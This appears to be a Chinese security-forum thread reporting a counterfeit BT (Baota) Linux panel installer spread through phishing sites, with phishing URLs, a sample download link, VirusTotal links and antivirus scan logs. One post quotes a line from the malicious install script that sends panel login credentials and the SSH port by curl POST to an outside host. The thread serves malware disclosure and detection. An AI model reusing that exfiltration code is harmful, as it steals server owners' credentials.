假宝塔（Linux）

显示全部楼层 · 发表于 2025-3-29 18:38:45

本帖最后由 hsks 于 2025-3-29 18:43 编辑

前几周就注意到了，但当时以为是PUA（
Phishing：hxxps://skqq.jcjydzsw.cn/
hxxps://pcdla.lhkbgz.cn/

hxxps://bt.appokset.com

https://pan.huang1111.cn/s/DV59wH4

https://www.virustotal.com/gui/f ... 6b3b0fb7a913b54f287
https://www.virustotal.com/gui/f ... 26ad24475?nocache=1

另附上claude的分析，仅供参考

显示全部楼层 · 发表于 2025-3-29 18:49:08

还以为是破解版宝塔，结果是假官网加料，能碰这东西的应该没有傻到这程度装这个

显示全部楼层 · 发表于 2025-3-29 18:52:01

453125415 发表于 2025-3-29 18:49
还以为是破解版宝塔，结果是假官网加料，能碰这东西的应该没有傻到这程度装这个

就怕小白站长被百度广告骗了（

显示全部楼层 · 发表于 2025-3-29 18:53:18

本帖最后由呼啸山庄于 2025-3-29 21:58 编辑

20250329 19:22

20250329 19:04

疑似载荷：

复制代码

Kaspersky Plus 21.20.8.505 数据库发布日期：2025/3/29 15:47
Scan miss
ESET Internet Security 18.1.10.0

Time;Scanner;Object type;Object;Detection;Action;User;Information;Hash;First seen here
2025/3/29 19:01:45;HTTP filter;file;https://bt.appokset.com/lcsys;a variant of Linux/Flooder.Agent.IM trojan;connection terminated;;Event occurred during an attempt to access the web by the application: C:\Program Files\Mozilla Firefox\firefox.exe (0335E6B92D462213B41BA6F7F32D63B727F59964).;A9A3536803B5C636C4F661D7577E9E5A795B6903;2025/3/29 19:01:44

复制代码

20250329 18:48

Kaspersky Plus 21.20.8.505 数据库发布日期：2025/3/29 15:47
Scan miss

事件: 任务已启动
应用程序名称: avp.exe
应用程序路径: C:\Program Files (x86)\Kaspersky Lab\Kaspersky 21.20
设置: 安全级别: 自定义,机器学习和特征码分析: 是,启发式分析: 深度扫描,扫描技术: iSwift: 是, iChecker: 是,检测到威胁后的操作: 清除；如果清除失败则删除
用户:
用户类型: 活动用户
组件: 病毒扫描
结果: 任务已启动

复制代码

复制代码

ESET Internet Security 18.1.10.0
Scan miss (submitted)

Scan Log
Version of detection engine: 30949P (20250329)
Date: 2025/3/29 Time: 18:49:35
Scanned disks, folders and files: D:\MalwaresSamples\bbs.kafan.cn\2280318\install_lts.sh
User:
Number of scanned objects: 2
Number of detections: 0
Time of completion: 18:49:35 Total scanning time: 0 sec (00:00:00)

复制代码

显示全部楼层 · 发表于 2025-3-29 19:27:37

McAfee扫描miss

显示全部楼层 · 发表于 2025-3-29 19:33:00

SEP miss

显示全部楼层 · 发表于 2025-3-29 22:11:10

火绒

显示全部楼层 · 发表于 2025-3-29 22:30:22

data="external_url=${HTTP_S}://${getIpAddress}:${panelPort}${auth_path}&internal_url=${HTTP_S}://${LOCAL_IP}:${panelPort}${auth_path}&username=$username&password=$password&ssh_port=$ssh_port"
curl -s -X POST -d "$data" https://downbt.cc/api.php
rm -f $Updatings

复制代码

将面板的登录信息明文发送到downbt.cc

显示全部楼层 · 发表于 2025-3-29 23:00:47

下载链接被FSP拉黑

显示全部楼层 · 发表于 2025-3-29 23:59:30

腾讯电脑管家不报

[病毒样本] 假宝塔（Linux）